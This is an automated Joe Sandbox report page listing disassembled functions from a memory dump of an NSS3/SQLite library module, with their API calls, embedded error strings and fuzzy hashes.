Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Arena$Util$Alloc_$CriticalFreeGrow_PoolSectionfree$Arena_CallClearCopyDeleteEnterErrorOnceUnlockValue
String ID:
API String ID: 3791662518-0
Opcode ID: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction ID: 57c4d5178be16fe2876e4f16e9ddd32b3d2f3bc3bf4e8582d9bc05044d84bc8f
Opcode Fuzzy Hash: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction Fuzzy Hash: 8E5135B1A01350AFE7148F90DC04B6A77ACEF8275CF14815AED189BB90E731E80BCB95

Function 6C9A7CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9A40D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C9A3F7F,?,00000055,?,?,6C9A1666,?,?), ref: 6C9A40D9
Part of subcall function 6C9A40D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C9A1666,?,?), ref: 6C9A40FC
Part of subcall function 6C9A40D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C9A1666,?,?), ref: 6C9A4138

PR_GetCurrentThread.NSS3 ref: 6C9A7CFD

Part of subcall function 6CA69BF0: TlsGetValue.KERNEL32(?,?,?,6CAB0A75), ref: 6CA69C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6CAC9030), ref: 6C9A7D1B

Part of subcall function 6C9FFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C9A1A3E,00000048,00000054), ref: 6C9FFD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6CAC9048), ref: 6C9A7D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6C9A7D50
PR_GetCurrentThread.NSS3 ref: 6C9A7D61
PORT_ArenaMark_Util.NSS3(?), ref: 6C9A7D7D
free.MOZGLUE(?), ref: 6C9A7D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6C9A7DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6C9A7E19

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: c59d0bf3c75cdead09523bee7495461cadfd2913b6e083f81a6251e125ff3255
Instruction ID: 4531c66032898c0ee9e24b67b73cb2c3b47b4c8fdf9c35336a19e390d3a1be05
Opcode Fuzzy Hash: c59d0bf3c75cdead09523bee7495461cadfd2913b6e083f81a6251e125ff3255
Instruction Fuzzy Hash: C541F572A0011A9FDB009FB99C42BAF37E8AF5035CF050424EC19ABB55E730ED5AC7A1

Function 6C9B7EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6C9B80DD), ref: 6C9B7F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6C9B80DD), ref: 6C9B7F36
free.MOZGLUE(?,?,?,6C9B80DD), ref: 6C9B7F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6C9B80DD), ref: 6C9B7F5D
DeleteCriticalSection.KERNEL32(?,6C9B80DD), ref: 6C9B7F94
free.MOZGLUE(?), ref: 6C9B7F9B
PR_SetError.NSS3(FFFFE08B,00000000,6C9B80DD), ref: 6C9B7FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6C9B80DD), ref: 6C9B7FE6
free.MOZGLUE(?,6C9B80DD), ref: 6C9B802D

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: 732846e4ae90e71117079c594ac833c98880e3748b0cb5f09d3ad1fe33e9d4ab
Instruction ID: c38ff227aa02c9858da734b4bc3a93ebc2ad450058685af92f03623c44452a1c
Opcode Fuzzy Hash: 732846e4ae90e71117079c594ac833c98880e3748b0cb5f09d3ad1fe33e9d4ab
Instruction Fuzzy Hash: EF412671B402009BDF149FB9D888A4B37B9BB7B358F10022DE519A7B81D730D41ECBA2

Function 6C9FFEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9FFF00

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6C9FFF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C9FFF26
PORT_ArenaMark_Util.NSS3(?), ref: 6C9FFF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C9FFF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C9FFF8C

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 1e22f6903d12eab2e6f3f37bc875cf060d47641bc80f56f08132da935853b638
Instruction ID: 7303dd3bf9a4dcf39a77763de7a0d7653249c7f2790c0e51a128c7f5a6eb4eac
Opcode Fuzzy Hash: 1e22f6903d12eab2e6f3f37bc875cf060d47641bc80f56f08132da935853b638
Instruction Fuzzy Hash: 4A3126B2A013129BF7108F55AC40B9B76ECAF5638CF144139ED2897B40E771D96AC7D1

Function 6C93E890 Relevance: 12.4, APIs: 5, Strings: 3, Instructions: 442stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C93E922
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C93E9CF
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C93EA0F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C93EB20
memcpy.VCRUNTIME140(?,?,?), ref: 6C93EB57

Strings

number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 6C93EDC2
unknown column "%s" in foreign key definition, xrefs: 6C93ED18
foreign key on %s should reference only one column of table %T, xrefs: 6C93EE04

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: memcpystrlen$memset
String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
API String ID: 638109778-272990098
Opcode ID: 28f907d9476c1f531a3e86473088333be521e96c467ca488e1274b63dba3d766
Instruction ID: d18744773a58b82518070c294a31bb6fe3f2cb500fb00cb399bd0f378944385c
Opcode Fuzzy Hash: 28f907d9476c1f531a3e86473088333be521e96c467ca488e1274b63dba3d766
Instruction Fuzzy Hash: FB029E75E01129CFDB05CF99C480AAEB7B6BF89304F1951A9D819AB751D731EC41CBA0

Function 6CA04DF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CA0536F,00000022,?,?,00000000,?), ref: 6CA04E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CA04F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CA04F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CA04FAE
free.MOZGLUE(?), ref: 6CA04FC8

Strings

%s=%s, xrefs: 6CA04F89
%s=%c%s%c, xrefs: 6CA04FA9

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s
API String ID: 2709355791-2032576422
Opcode ID: fa8cc5362a0a3fc4ad0670b800b039ff03db23956c94f79e4d0eec327bfcaea2
Instruction ID: c7c645da5e3ab77f76af08fb60cd208118b4e5059ea90c0a5081f35052d7b7f6
Opcode Fuzzy Hash: fa8cc5362a0a3fc4ad0670b800b039ff03db23956c94f79e4d0eec327bfcaea2
Instruction Fuzzy Hash: B1515B71B052458BEB01CA69E4907FF7BF5BF6238CF1C8165E890A7A41D33598C587A1

Function 6C947D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C947E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C947E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6C947EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C947F2E

Strings

database corruption, xrefs: 6C947EE2, 6C947F23
%s at line %d of [%.10s], xrefs: 6C947EE7, 6C947F28
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C947ED8, 6C947F08, 6C947F19

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 2a5de094638fa46b3b3e1e33d755b017ee8bc75ee2da82bade56946351406787
Instruction ID: ebb95bdee9ee46c71b6f9ad9bbe8f2c6a5de1c0eef96bbff30c79cfd97c9674d
Opcode Fuzzy Hash: 2a5de094638fa46b3b3e1e33d755b017ee8bc75ee2da82bade56946351406787
Instruction Fuzzy Hash: 4F61A174A042099FDB05CF25D890FAA37B6BF45308F158AA8EC095FB62D731EC55CBA1

Function 6C9969A0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 162COMMON

Download Yara Rule

APIs

Part of subcall function 6C92CA30: EnterCriticalSection.KERNEL32(?,?,?,6C98F9C9,?,6C98F4DA,6C98F9C9,?,?,6C95369A), ref: 6C92CA7A
Part of subcall function 6C92CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C92CB26

memset.VCRUNTIME140(00000000,00000000,?), ref: 6C996A02
EnterCriticalSection.KERNEL32(?), ref: 6C996AA6
LeaveCriticalSection.KERNEL32(?), ref: 6C996AF9
sqlite3_free.NSS3(00000000), ref: 6C996B15
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,?,0000BCCC), ref: 6C996BA6

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6C996B9F
winDelete, xrefs: 6C996B71

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_freesqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winDelete
API String ID: 1816828315-1405699761
Opcode ID: 5ad2179f95875c5beeee40faa9910a7ac0fd24f8d14a32ac98d5f3207b2373d7
Instruction ID: 9c825524abb8cb017977a78af476be7c677e34763e4a27e8f81931f6abb0151f
Opcode Fuzzy Hash: 5ad2179f95875c5beeee40faa9910a7ac0fd24f8d14a32ac98d5f3207b2373d7
Instruction Fuzzy Hash: 8F513631B412019BEB089F64EC58ABE3779EF57314F08812CE426D7680EB34D906CBD2

Function 6C92FCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C92FD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C92FD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C92FE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C92FE83

Part of subcall function 6C92FEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6C92FEFA
Part of subcall function 6C92FEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6C92FF3B

Strings

database corruption, xrefs: 6C92FD6E, 6C92FE30
%s at line %d of [%.10s], xrefs: 6C92FD73, 6C92FE35
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C92FD64, 6C92FE26

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: 15bc727e04da7ffddb537174c00ef69f029b1017b04bb497019cbdbfc2fef08f
Instruction ID: e2bb2e682b9a743ce3e087f7e9d697d80aa548ab5c7c486f8f0b35c2f3acf676
Opcode Fuzzy Hash: 15bc727e04da7ffddb537174c00ef69f029b1017b04bb497019cbdbfc2fef08f
Instruction Fuzzy Hash: 3C51B070A002158FDB04CFA9D9D0AAEB7F5FF48308F154069E945ABB56E334EC94CBA0

Function 6CA72F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA72FFD
sqlite3_initialize.NSS3 ref: 6CA73007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CA73032
sqlite3_mprintf.NSS3(6CADAAF9,?), ref: 6CA73073
sqlite3_free.NSS3(?), ref: 6CA730B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6CA730C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6CA730BB

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 40d0579a49cf3a082bc316e5fdeb6d298f8307945f16ec1b044b381dd47167aa
Instruction ID: 177296b7386fd2c4321ea4d60247530fffa9cb3de7850da8899618ad9f9291e7
Opcode Fuzzy Hash: 40d0579a49cf3a082bc316e5fdeb6d298f8307945f16ec1b044b381dd47167aa
Instruction Fuzzy Hash: B041F275601A06AFDB10CF25C844A86B3B5FF54368F098628EC9987B40E730F9E5CBE0

Function 6C9B8CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C9C124D,00000001), ref: 6C9B8D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C9C124D,00000001), ref: 6C9B8D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C9C124D,00000001), ref: 6C9B8D73
PR_Unlock.NSS3(?,?,?,?,?,6C9C124D,00000001), ref: 6C9B8D8C

Part of subcall function 6CA4DD70: TlsGetValue.KERNEL32 ref: 6CA4DD8C
Part of subcall function 6CA4DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CA4DDB4

PR_Unlock.NSS3(?,?,?,?,?,6C9C124D,00000001), ref: 6C9B8DBA

Strings

KRAM, xrefs: 6C9B8CF9
KRAM, xrefs: 6C9B8D3E

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 6cf506af17c6f3f373650af1679a12e56cced6b4ebbf6a9e457087351245c80b
Instruction ID: 2ebb9d33df81c5ad453c0c077b5f41a72367b72c06b2ce2e4fd26197c71c0086
Opcode Fuzzy Hash: 6cf506af17c6f3f373650af1679a12e56cced6b4ebbf6a9e457087351245c80b
Instruction Fuzzy Hash: EF21B1B4A046029FCB08EF78C48415BB7F4FF99308F05896AD99897701D730D886CB91

Function 6CAB0ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CAB0EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CAB0EFA

Part of subcall function 6C99AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C99AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CAB0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CAB0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CAB0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CAB0F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CAB0ED9, 6CAB0EE5, 6CAB0F06, 6CAB0F0B
Aborting, xrefs: 6CAB0EB3

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: d211fb004a6740bd094c185a9ce5895f6caf2be2a4dc74fa2b2b4216e124db28
Instruction ID: 0c26fc18c11ffaa7b7446d6d6453519a3e78c3c69cd3912d57eda83f5ed75d0c
Opcode Fuzzy Hash: d211fb004a6740bd094c185a9ce5895f6caf2be2a4dc74fa2b2b4216e124db28
Instruction Fuzzy Hash: EC01C4B5A00214ABDF11AF64EC4589B3F3CDF46368B048014FD1997701D631EE5596A2

Function 6CA74D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CA74DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA74DE0

Strings

API call with %s database connection pointer, xrefs: 6CA74DBD
%s at line %d of [%.10s], xrefs: 6CA74DDA
misuse, xrefs: 6CA74DD5
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA74DCB
invalid, xrefs: 6CA74DB8

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

